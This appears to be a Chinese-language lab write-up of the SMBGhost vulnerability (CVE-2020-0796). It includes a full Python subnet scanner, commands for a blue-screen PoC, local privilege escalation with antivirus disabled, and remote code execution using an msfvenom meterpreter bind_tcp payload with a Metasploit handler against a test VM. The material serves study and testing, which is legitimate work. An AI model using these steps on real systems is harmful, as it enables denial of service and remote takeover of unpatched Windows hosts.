0x00:漏洞介绍
该漏洞是由SMBv3处理恶意制作的压缩数据包,远程, 未经认证 攻击者可能利用此漏洞在应用程序的上下文中执行任意代码。
CVE-2020-0796漏洞影响运行Windows 10版本1903,Windows Server版本1903(服务器核心安装),Windows 10版本1909和Windows Server版本1909(服务器核心安装)的设备。根据Fortinet,其他Microsoft版本应受到影响。
漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
等级:高
影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
参考:
https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
0x01:漏洞检测
(1)python3 POC
https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
import socket import struct import sys from netaddr import IPNetwork pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' subnet = sys.argv[1] for ip in IPNetwork(subnet): sock = socket.socket(socket.AF_INET) sock.settimeout(3) try: sock.connect(( str(ip), 445 )) except: sock.close() continue sock.send(pkt) nb, = struct.unpack(">I", sock.recv(4)) res = sock.recv(nb) if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00": print(f"{ip} Not vulnerable.") else: print(f"{ip} Vulnerable")
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。
我自己的电脑已经是升级过的了,还是返回Vulnerable
(2)奇安信检测工具
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
0x02:漏洞利用
准备:
一台 kali linux 192.168.109.148
一台win10虚拟机 192.168.109.149 版本 1903 关闭防火墙
扫描结果
python3 POC
奇安信工具
蓝屏攻击
https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git python3 setup.py install python3 CVE-2020-0796.py 192.168.109.149
手动中断之后,win10就恢复正常
本地提权
https://github.com/danigargu/CVE-2020-0796
貌似要自己编译生成exe
直接运行即可
用VS2017编译了一下,记得修改一下属性,不然会报错,复制到虚拟机中,得关闭windows自带杀毒
远程利用
https://github.com/chompie1337/SMBGhost_RCE_PoC
(1)使用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py
(2)下载github项目之后,将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
(3)运行exploit.py
python3 exploit.py -ip 192.168.109.149
(4)启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set lport 1234 lport => 1234 msf5 exploit(multi/handler) > set rhost 192.168.109.149 rhost => 192.168.109.149 msf5 exploit(multi/handler) > exploit
我一直没能连上(